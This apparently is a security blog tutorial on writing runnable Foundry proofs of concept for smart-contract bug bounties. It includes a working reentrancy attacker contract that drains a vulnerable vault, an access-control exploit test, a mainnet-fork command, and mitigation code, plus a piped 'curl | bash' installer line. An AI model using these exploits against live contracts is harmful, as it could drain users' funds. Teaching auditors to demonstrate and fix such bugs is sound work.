Listen to this Post

Introduction:
In the world of blockchain security, a validated vulnerability is only half the battle. As highlighted by a recent experience in the smart contract auditing community, the difference between a recognized finding and a paid reward often comes down to a single, critical element: a runnable Proof of Concept (PoC). Without a PoC that demonstrates the exploit in a live environment, even the most severe bug report can be dismissed as insufficient, leaving protocols vulnerable and researchers uncompensated.
Learning Objectives:
- Understand the critical role of a runnable Proof of Concept (PoC) in smart contract auditing and bug bounty programs.
- Learn how to set up a local development environment using Foundry to craft and test PoCs for Solidity vulnerabilities.
- Identify common Web3 vulnerabilities and master the techniques to exploit and mitigate them using practical code examples and command-line tools.
You Should Know:
- Setting Up Your Smart Contract Testing Environment (Foundry)
A robust PoC requires a reliable testing framework. Foundry has become the industry standard for writing and executing Solidity tests due to its speed and ability to simulate complex on-chain scenarios. To start, ensure you have Rust and Foundry installed on your system. If you are using a Linux or macOS system, the installation is straightforward. For Windows users, using WSL2 (Windows Subsystem for Linux) is recommended.
Step-by-step guide explaining what this does and how to use it:
First, install Foundry using the following command in your terminal:
curl -L https://foundry.paradigm.xyz | bash
After installation, run `foundryup` to install the latest forge, cast, and `anvil` binaries. Next, create a new project:
forge init my-poc-project cd my-poc-project
This structure provides a `src/` folder for your contracts, a `test/` folder for your PoCs, and a `script/` folder for deployment scripts. For a PoC, you will typically write your exploit logic inside the `test/` folder using Solidity. To compile your contracts, use:
forge build
This setup replicates the environment auditors use, ensuring your PoC is executable and reproducible.
- Crafting a Runnabe PoC for a Reentrancy Vulnerability
One of the most common critical vulnerabilities in DeFi is reentrancy. A runnable PoC for this demonstrates how an external contract can repeatedly call back into the target contract before the first invocation is finished, draining funds. In your `test/` folder, you will create a file like Reentrancy.t.sol. This file will contain a test contract that inherits from `Test` and uses `vm.prank` to impersonate addresses.
Step-by-step guide explaining what this does and how to use it:
Let’s assume we have a vulnerable `Vault` contract that allows withdrawals without updating the balance first. A PoC would look like this:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Vault.sol";
contract Attack {
Vault public vault;
constructor(address _vault) { vault = Vault(_vault); }
function attack() external payable { vault.withdraw(); }
receive() external payable { if (address(vault).balance >= 1 ether) vault.withdraw(); }
}
contract ReentrancyTest is Test {
Vault public vault;
Attack public attacker;
address public user = makeAddr("user");
address public hacker = makeAddr("hacker");
function setUp() public {
vm.deal(user, 10 ether);
vm.prank(user);
vault = new Vault();
vm.prank(user);
vault.deposit{value: 10 ether}();
vm.prank(hacker);
attacker = new Attack(address(vault));
}
function testReentrancy() public {
vm.prank(hacker);
attacker.attack{value: 1 ether}();
assertEq(address(vault).balance, 0, "Vault should be drained");
console.log("Exploit successful. Vault balance:", address(vault).balance);
}
}
To run this PoC, use the command:
forge test --match-test testReentrancy -vvvv
The `-vvvv` flag provides verbose logs, showing the execution flow and proving the drain occurred. This is exactly what an auditor would submit to validate the issue.
3. Debugging and Logging for Effective PoC Presentation
A PoC is only as good as its ability to communicate the exploit flow. Foundry’s `console.log` and `vm.label` are essential for creating a clear narrative. When reporting a bug, you need to show the state changes. For Windows users running WSL, ensure your terminal supports UTF-8 encoding to see the logs properly. On Linux, standard terminal output works seamlessly.
Step-by-step guide explaining what this does and how to use it:
Integrate logging into your test to show the balance before and after the exploit. Import forge-std/console.sol. In the `testReentrancy` function, add:
console.log("Initial Vault Balance:", address(vault).balance);
vm.prank(hacker);
attacker.attack{value: 1 ether}();
console.log("Final Vault Balance:", address(vault).balance);
Additionally, use `vm.label` to give addresses readable names in the traces:
vm.label(user, "Victim"); vm.label(hacker, "Attacker"); vm.label(address(vault), "Vault");
When running forge test --match-test testReentrancy -vvvv, the output will show a detailed gas report and trace, with your console logs and labeled addresses, making it easy for the protocol team to understand the severity.
- Exploiting Weak Access Control: The Missing `onlyOwner` Modifier
Many high-severity findings arise from missing access controls. A common issue is functions that modify critical parameters or withdraw funds being callable by any user. A runnable PoC for this simply calls the function from an arbitrary address and shows the state change. This type of PoC is often the simplest to create but requires precise setup to show the impact on live forks.
Step-by-step guide explaining what this does and how to use it:
Suppose we have a `Config.sol` contract where `setOracle` lacks an `onlyOwner` modifier. The PoC would be:
function testAccessControl() public {
address randomAttacker = makeAddr("randomAttacker");
vm.prank(randomAttacker);
config.setOracle(address(0xdead));
assertEq(config.oracle(), address(0xdead), "Oracle changed by random user");
console.log("Access control bypassed. New oracle:", config.oracle());
}
To simulate this on a mainnet fork, which is crucial for high-impact PoCs, use the `–fork-url` flag with an RPC provider:
forge test --match-test testAccessControl --fork-url https://mainnet.infura.io/v3/YOUR_API_KEY
This allows you to test your exploit against the current state of the Ethereum mainnet, proving the vulnerability exists in a production environment.
5. Mitigation Strategies and Secure Coding Practices
Understanding exploitation is only useful if paired with mitigation. For the reentrancy example, the fix is to use the Checks-Effects-Interactions pattern or a reentrancy guard. For access control, using OpenZeppelin’s `Ownable` or `AccessControl` is standard. Your article should also include a remediation guide, showing the “diff” between the vulnerable code and the patched version.
Step-by-step guide explaining what this does and how to use it:
To fix the reentrancy issue, modify the withdraw function to update the balance before transferring:
function withdraw() external {
uint256 balance = balances[msg.sender];
require(balance > 0, "Insufficient balance");
balances[msg.sender] = 0; // Effect: update state
(bool sent, ) = msg.sender.call{value: balance}(""); // Interaction: send ETH
require(sent, "Failed to send Ether");
}
To fix the access control issue, import `Ownable` and add the modifier:
import "@openzeppelin/contracts/access/Ownable.sol";
contract Config is Ownable {
function setOracle(address _oracle) public onlyOwner {
oracle = _oracle;
}
}
These changes should be highlighted in the PoC report to demonstrate that you not only found the bug but also understand the proper remediation.
What Undercode Say:
- Key Takeaway 1: A vulnerability report is incomplete without a runnable PoC. The blockchain industry demands reproducible tests, and tools like Foundry are non-negotiable for serious security researchers.
- Key Takeaway 2: Mastering the development environment (WSL for Windows, native terminal for Linux) and debugging techniques is as important as understanding Solidity logic. Clear, labeled logs and simulated mainnet forks significantly increase the credibility and acceptance rate of a bug report.
The shift towards requiring runnable PoCs in Web3 audits reflects a maturing industry where actionability is valued over theory. Auditors are now expected to function as developers, capable of not just spotting flaws but writing the exact code to exploit them. This trend is pushing the barrier to entry higher, rewarding those who combine deep protocol knowledge with advanced scripting and testing capabilities. The missing PoC is often the thin line between a validated finding and a dismissed report, emphasizing that in DeFi security, you don’t just find the bug—you have to break the system on command.
Prediction:
As smart contract complexity grows with Layer 2s and cross-chain protocols, the requirement for automated, reproducible PoCs will become standard in all competitive audits and bug bounties. We will see a rise in AI-assisted PoC generation tools, but the human element of crafting a clear, educational exploit narrative will remain a premium skill, separating top-tier security researchers from the rest.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Https: – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


